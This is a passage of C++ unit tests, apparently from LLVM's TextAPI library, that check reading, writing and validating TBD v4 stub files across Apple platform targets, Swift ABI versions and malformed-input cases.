{SymbolKind::GlobalSymbol, "_symAB", false, false},
};
static ExportedSymbol ExpectedReexportedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symC", false, false},
};
static ExportedSymbol ExpectedUndefinedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symD", false, false},
};
EXPECT_EQ(sizeof(ExpectedExportedSymbols) / sizeof(ExportedSymbol),
Exports.size());
EXPECT_EQ(sizeof(ExpectedReexportedSymbols) / sizeof(ExportedSymbol),
Reexports.size());
EXPECT_EQ(sizeof(ExpectedUndefinedSymbols) / sizeof(ExportedSymbol),
Undefineds.size());
EXPECT_TRUE(std::equal(Exports.begin(), Exports.end(),
std::begin(ExpectedExportedSymbols)));
EXPECT_TRUE(std::equal(Reexports.begin(), Reexports.end(),
std::begin(ExpectedReexportedSymbols)));
EXPECT_TRUE(std::equal(Undefineds.begin(), Undefineds.end(),
std::begin(ExpectedUndefinedSymbols)));
}
TEST(TBDv4, WriteFile) {
static const char TBDv4File[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-ios-simulator ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-ios-simulator\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"flags: [ installapi ]\n"
"install-name: 'Umbrella.framework/Umbrella'\n"
"current-version: 1.2.3\n"
"compatibility-version: 0\n"
"swift-abi-version: 5\n"
"parent-umbrella:\n"
" - targets: [ i386-macos, x86_64-ios-simulator ]\n"
" umbrella: System\n"
"allowable-clients:\n"
" - targets: [ i386-macos ]\n"
" clients: [ ClientA ]\n"
"exports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symA ]\n"
" objc-classes: [ Class1 ]\n"
" weak-symbols: [ _symC ]\n"
" - targets: [ x86_64-ios-simulator ]\n"
" symbols: [ _symB ]\n"
"...\n";
InterfaceFile File;
TargetList Targets = {
Target(AK_i386, PLATFORM_MACOS),
Target(AK_x86_64, PLATFORM_IOSSIMULATOR),
};
UUIDs uuids = {{Targets[0], "00000000-0000-0000-0000-000000000000"},
{Targets[1], "11111111-1111-1111-1111-111111111111"}};
File.setInstallName("Umbrella.framework/Umbrella");
File.setFileType(FileType::TBD_V4);
File.addTargets(Targets);
File.addUUID(uuids[0].first, uuids[0].second);
File.addUUID(uuids[1].first, uuids[1].second);
File.setCurrentVersion(PackedVersion(1, 2, 3));
File.setTwoLevelNamespace();
File.setInstallAPI(true);
File.setApplicationExtensionSafe(true);
File.setSwiftABIVersion(5);
File.addAllowableClient("ClientA", Targets[0]);
File.addParentUmbrella(Targets[0], "System");
File.addParentUmbrella(Targets[1], "System");
File.addSymbol(SymbolKind::GlobalSymbol, "_symA", {Targets[0]});
File.addSymbol(SymbolKind::GlobalSymbol, "_symB", {Targets[1]});
File.addSymbol(SymbolKind::GlobalSymbol, "_symC", {Targets[0]},
SymbolFlags::WeakDefined);
File.addSymbol(SymbolKind::ObjectiveCClass, "Class1", {Targets[0]});
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error Result = TextAPIWriter::writeToStream(OS, File);
EXPECT_FALSE(Result);
EXPECT_STREQ(TBDv4File, Buffer.c_str());
}
TEST(TBDv4, WriteMultipleDocuments) {
static const char TBDv4Inlines[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
"uuids:\n"
" - target: i386-maccatalyst\n"
" value: 00000000-0000-0000-0000-000000000002\n"
" - target: x86_64-maccatalyst\n"
" value: 11111111-1111-1111-1111-111111111112\n"
"install-name: "
"'/System/Library/Frameworks/Umbrella.framework/Umbrella'\n"
"reexported-libraries:\n"
" - targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
" libraries: [ '/System/Library/Frameworks/A.framework/A' ]\n"
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
"uuids:\n"
" - target: i386-maccatalyst\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-maccatalyst\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"install-name: '/System/Library/Frameworks/A.framework/A'\n"
"exports:\n"
" - targets: [ i386-maccatalyst ]\n"
" weak-symbols: [ _symC ]\n"
" - targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
" symbols: [ _symA ]\n"
" objc-classes: [ Class1 ]\n"
" - targets: [ x86_64-maccatalyst ]\n"
" symbols: [ _symAB ]\n"
"...\n";
InterfaceFile File;
PlatformType Platform = PLATFORM_MACCATALYST;
TargetList Targets = {
Target(AK_i386, Platform),
Target(AK_x86_64, Platform),
};
UUIDs Uuids = {{Targets[0], "00000000-0000-0000-0000-000000000002"},
{Targets[1], "11111111-1111-1111-1111-111111111112"}};
File.setInstallName("/System/Library/Frameworks/Umbrella.framework/Umbrella");
File.setFileType(FileType::TBD_V4);
File.addTargets(Targets);
File.addUUID(Uuids[0].first, Uuids[0].second);
File.addUUID(Uuids[1].first, Uuids[1].second);
File.setCompatibilityVersion(PackedVersion(1, 0, 0));
File.setCurrentVersion(PackedVersion(1, 0, 0));
File.setTwoLevelNamespace();
File.setApplicationExtensionSafe(true);
File.addReexportedLibrary("/System/Library/Frameworks/A.framework/A",
Targets[0]);
File.addReexportedLibrary("/System/Library/Frameworks/A.framework/A",
Targets[1]);
// Write Second Document
Uuids = {{Targets[0], "00000000-0000-0000-0000-000000000000"},
{Targets[1], "11111111-1111-1111-1111-111111111111"}};
InterfaceFile Document;
Document.setInstallName("/System/Library/Frameworks/A.framework/A");
Document.setFileType(FileType::TBD_V4);
Document.addTargets(Targets);
Document.addUUID(Uuids[0].first, Uuids[0].second);
Document.addUUID(Uuids[1].first, Uuids[1].second);
Document.setCompatibilityVersion(PackedVersion(1, 0, 0));
Document.setCurrentVersion(PackedVersion(1, 0, 0));
Document.setTwoLevelNamespace();
Document.setApplicationExtensionSafe(true);
Document.addSymbol(SymbolKind::GlobalSymbol, "_symA", Targets);
Document.addSymbol(SymbolKind::GlobalSymbol, "_symAB", {Targets[1]});
Document.addSymbol(SymbolKind::GlobalSymbol, "_symC", {Targets[0]},
SymbolFlags::WeakDefined);
Document.addSymbol(SymbolKind::ObjectiveCClass, "Class1", Targets);
File.addDocument(std::make_shared<InterfaceFile>(std::move(Document)));
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error Result = TextAPIWriter::writeToStream(OS, File);
EXPECT_FALSE(Result);
EXPECT_STREQ(TBDv4Inlines, Buffer.c_str());
}
TEST(TBDv4, MultipleTargets) {
static const char TBDv4MultipleTargets[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-maccatalyst, x86_64-tvos, arm64-ios ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4MultipleTargets, "Test.tbd"));
EXPECT_TRUE(!!Result);
PlatformSet Platforms;
Platforms.insert(PLATFORM_MACCATALYST);
Platforms.insert(PLATFORM_TVOS);
Platforms.insert(PLATFORM_IOS);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(AK_x86_64 | AK_arm64 | AK_i386, File->getArchitectures());
EXPECT_EQ(Platforms.size(), File->getPlatforms().size());
for (auto Platform : File->getPlatforms())
EXPECT_EQ(Platforms.count(Platform), 1U);
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4MultipleTargets),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, MultipleTargetsSameArch) {
static const char TBDv4TargetsSameArch[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-tvos , x86_64-maccatalyst ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4TargetsSameArch, "Test.tbd"));
EXPECT_TRUE(!!Result);
PlatformSet Platforms;
Platforms.insert(PLATFORM_TVOS);
Platforms.insert(PLATFORM_MACCATALYST);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(Platforms.size(), File->getPlatforms().size());
for (auto Platform : File->getPlatforms())
EXPECT_EQ(Platforms.count(Platform), 1U);
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4TargetsSameArch),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, MultipleTargetsSamePlatform) {
static const char TBDv4MultipleTargetsSamePlatform[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ armv7k-ios , arm64-ios]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result = TextAPIReader::get(
MemoryBufferRef(TBDv4MultipleTargetsSamePlatform, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(AK_arm64 | AK_armv7k, File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_IOS, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4MultipleTargetsSamePlatform),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_maccatalyst) {
static const char TBDv4TargetMacCatalyst[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-maccatalyst ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4TargetMacCatalyst, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_MACCATALYST, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4TargetMacCatalyst),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_x86_ios) {
static const char TBDv4Targetx86iOS[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-ios ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4Targetx86iOS, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_IOS, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4Targetx86iOS),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_arm_bridgeOS) {
static const char TBDv4PlatformBridgeOS[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ armv7k-bridgeos ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4PlatformBridgeOS, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_BRIDGEOS, *File->getPlatforms().begin());
EXPECT_EQ(ArchitectureSet(AK_armv7k), File->getArchitectures());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4PlatformBridgeOS),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_arm_iOS) {
static const char TBDv4ArchArm64e[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ arm64e-ios ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4ArchArm64e, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_IOS, *File->getPlatforms().begin());
EXPECT_EQ(ArchitectureSet(AK_arm64e), File->getArchitectures());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4ArchArm64e), stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_x86_macos) {
static const char TBDv4Targetx86MacOS[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4Targetx86MacOS, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_MACOS, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4Targetx86MacOS),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_x86_ios_simulator) {
static const char TBDv4Targetx86iOSSim[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-ios-simulator ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4Targetx86iOSSim, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_IOSSIMULATOR, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4Targetx86iOSSim),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_x86_tvos_simulator) {
static const char TBDv4x86tvOSSim[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-tvos-simulator ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4x86tvOSSim, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_x86_64), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_TVOSSIMULATOR, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4x86tvOSSim), stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_i386_watchos_simulator) {
static const char TBDv4i386watchOSSim[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-watchos-simulator ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4i386watchOSSim, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_i386), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_WATCHOSSIMULATOR, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4i386watchOSSim),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Target_i386_driverkit) {
static const char TBDv4i386DriverKit[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-driverkit ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4i386DriverKit, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(ArchitectureSet(AK_i386), File->getArchitectures());
EXPECT_EQ(File->getPlatforms().size(), 1U);
EXPECT_EQ(PLATFORM_DRIVERKIT, *File->getPlatforms().begin());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4i386DriverKit),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Swift_1) {
static const char TBDv4SwiftVersion1[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"swift-abi-version: 1\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4SwiftVersion1, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(1U, File->getSwiftABIVersion());
// No writer test because we emit "swift-abi-version:1.0".
}
TEST(TBDv4, Swift_2) {
static const char TBDv4Swift2[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"swift-abi-version: 2\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4Swift2, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(2U, File->getSwiftABIVersion());
// No writer test because we emit "swift-abi-version:2.0".
}
TEST(TBDv4, Swift_5) {
static const char TBDv4SwiftVersion5[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"swift-abi-version: 5\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4SwiftVersion5, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(5U, File->getSwiftABIVersion());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4SwiftVersion5),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, Swift_99) {
static const char TBDv4SwiftVersion99[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"swift-abi-version: 99\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4SwiftVersion99, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(99U, File->getSwiftABIVersion());
SmallString<4096> Buffer;
raw_svector_ostream OS(Buffer);
Error WriteResult = TextAPIWriter::writeToStream(OS, *File);
EXPECT_TRUE(!WriteResult);
EXPECT_EQ(stripWhitespace(TBDv4SwiftVersion99),
stripWhitespace(Buffer.c_str()));
}
TEST(TBDv4, InvalidArchitecture) {
static const char TBDv4UnknownArch[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ foo-macos ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4UnknownArch, "Test.tbd"));
EXPECT_FALSE(!!Result);
std::string ErrorMessage = toString(Result.takeError());
EXPECT_EQ("malformed file\nTest.tbd:3:12: error: unknown "
"architecture\ntargets: [ foo-macos ]\n"
" ^~~~~~~~~~\n",
ErrorMessage);
}
TEST(TBDv4, InvalidPlatform) {
static const char TBDv4FInvalidPlatform[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-maos ]\n"
"install-name: Test.dylib\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4FInvalidPlatform, "Test.tbd"));
EXPECT_FALSE(!!Result);
std::string ErrorMessage = toString(Result.takeError());
EXPECT_EQ("malformed file\nTest.tbd:3:12: error: unknown platform\ntargets: "
"[ x86_64-maos ]\n"
" ^~~~~~~~~~~~\n",
ErrorMessage);
}
TEST(TBDv4, MalformedFile1) {
static const char TBDv4MalformedFile1[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4MalformedFile1, "Test.tbd"));
EXPECT_FALSE(!!Result);
std::string ErrorMessage = toString(Result.takeError());
ASSERT_EQ("malformed file\nTest.tbd:2:1: error: missing required key "
"'targets'\ntbd-version: 4\n^\n",
ErrorMessage);
}
TEST(TBDv4, MalformedFile2) {
static const char TBDv4MalformedFile2[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"foobar: \"unsupported key\"\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4MalformedFile2, "Test.tbd"));
EXPECT_FALSE(!!Result);
std::string ErrorMessage = toString(Result.takeError());
ASSERT_EQ(
"malformed file\nTest.tbd:5:1: error: unknown key 'foobar'\nfoobar: "
"\"unsupported key\"\n^~~~~~\n",
ErrorMessage);
}
TEST(TBDv4, MalformedFile3) {
static const char TBDv4MalformedSwift[] = "--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ x86_64-macos ]\n"
"install-name: Test.dylib\n"
"swift-abi-version: 1.1\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4MalformedSwift, "Test.tbd"));
EXPECT_FALSE(!!Result);
std::string ErrorMessage = toString(Result.takeError());
EXPECT_EQ("malformed file\nTest.tbd:5:20: error: invalid Swift ABI "
"version.\nswift-abi-version: 1.1\n ^~~\n",
ErrorMessage);
}
TEST(TBDv4, InterfaceEquality) {
static const char TBDv4File[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-macos\n"
" value: 11111111-1111-1111-1111-111111111111\n"
" - target: x86_64-ios\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"flags: [ flat_namespace, installapi ]\n"
"install-name: Umbrella.framework/Umbrella\n"
"current-version: 1.2.3\n"
"compatibility-version: 1.2\n"
"swift-abi-version: 5\n"
"parent-umbrella:\n"
" - targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
" umbrella: System\n"
"allowable-clients:\n"
" - targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
" clients: [ ClientA ]\n"
"reexported-libraries:\n"
" - targets: [ i386-macos ]\n"
" libraries: [ /System/Library/Frameworks/A.framework/A ]\n"
"exports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symA ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
" - targets: [ x86_64-ios ]\n"
" symbols: [_symB]\n"
" - targets: [ x86_64-macos, x86_64-ios ]\n"
" symbols: [_symAB]\n"
"reexports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [_symC]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"undefineds:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symD ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"tbd-version: 4\n"
"targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
"uuids:\n"
" - target: i386-maccatalyst\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-maccatalyst\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"install-name: '/System/Library/Frameworks/A.framework/A'\n"
"exports:\n"
" - targets: [ i386-maccatalyst ]\n"
" weak-symbols: [ _symC ]\n"
" - targets: [ i386-maccatalyst, x86_64-maccatalyst ]\n"
" symbols: [ _symA ]\n"
" objc-classes: [ Class1 ]\n"
" - targets: [ x86_64-maccatalyst ]\n"
" symbols: [ _symAB ]\n"
"...\n";
Expected<TBDFile> ResultA =
TextAPIReader::get(MemoryBufferRef(TBDv4File, "TestA.tbd"));
EXPECT_TRUE(!!ResultA);
InterfaceFile FileA = std::move(*ResultA.get());
Expected<TBDFile> ResultB =
TextAPIReader::get(MemoryBufferRef(TBDv4File, "TestB.tbd"));
EXPECT_TRUE(!!ResultB);
InterfaceFile FileB = std::move(*ResultB.get());
EXPECT_TRUE(FileA == FileB);
}
TEST(TBDv4, InterfaceDiffVersionsEquality) {
static const char TBDv4File[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-macos ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-macos\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"flags: [ installapi ]\n"
"install-name: Umbrella.framework/Umbrella\n"
"current-version: 1.2.3\n"
"compatibility-version: 1.0\n"
"swift-abi-version: 5\n"
"parent-umbrella:\n"
" - targets: [ i386-macos, x86_64-macos ]\n"
" umbrella: System\n"
"allowable-clients:\n"
" - targets: [ i386-macos, x86_64-macos ]\n"
" clients: [ ClientA ]\n"
"reexported-libraries:\n"
" - targets: [ i386-macos ]\n"
" libraries: [ /System/Library/Frameworks/A.framework/A ]\n"
"exports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _sym5 ]\n"
" objc-classes: [ class3]\n"
" objc-eh-types: []\n"
" objc-ivars: [ class1._ivar3 ]\n"
" weak-symbols: [ _weak3 ]\n"
" - targets: [ x86_64-macos ]\n"
" symbols: [_symAB]\n"
" - targets: [ i386-macos, x86_64-macos ]\n"
" symbols: [_symA]\n"
" objc-classes: [ class1, class2 ]\n"
" objc-eh-types: [ class1 ]\n"
" objc-ivars: [ class1._ivar1, class1._ivar2 ]\n"
" weak-symbols: [ _weak1, _weak2 ]\n"
" thread-local-symbols: [ _tlv1, _tlv3 ]\n"
"undefineds:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symC ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"...\n";
static const char TBDv3File[] =
"--- !tapi-tbd-v3\n"
"archs: [ i386, x86_64 ]\n"
"uuids: [ 'i386: 00000000-0000-0000-0000-000000000000',\n"
" 'x86_64: 22222222-2222-2222-2222-222222222222']\n"
"platform: macosx\n"
"flags: [ installapi ]\n"
"install-name: Umbrella.framework/Umbrella\n"
"current-version: 1.2.3\n"
"compatibility-version: 1.0\n"
"swift-abi-version: 5\n"
"parent-umbrella: System\n"
"exports:\n"
" - archs: [ i386, x86_64 ]\n"
" allowable-clients: [ ClientA ]\n"
" symbols: [ _symA ]\n"
" objc-classes: [ class1, class2 ]\n"
" objc-eh-types: [ class1 ]\n"
" objc-ivars: [ class1._ivar1, class1._ivar2 ]\n"
" weak-def-symbols: [ _weak1, _weak2 ]\n"
" thread-local-symbols: [ _tlv1, _tlv3 ]\n"
" - archs: [ i386 ]\n"
" re-exports: [ /System/Library/Frameworks/A.framework/A ]\n"
" symbols: [ _sym5 ]\n"
" objc-classes: [ class3 ]\n"
" objc-ivars: [ class1._ivar3 ]\n"
" weak-def-symbols: [ _weak3 ]\n"
" - archs: [ x86_64 ]\n"
" symbols: [ _symAB ]\n"
"undefineds:\n"
" - archs: [ i386 ]\n"
" symbols: [ _symC ]\n"
"...\n";
Expected<TBDFile> ResultA =
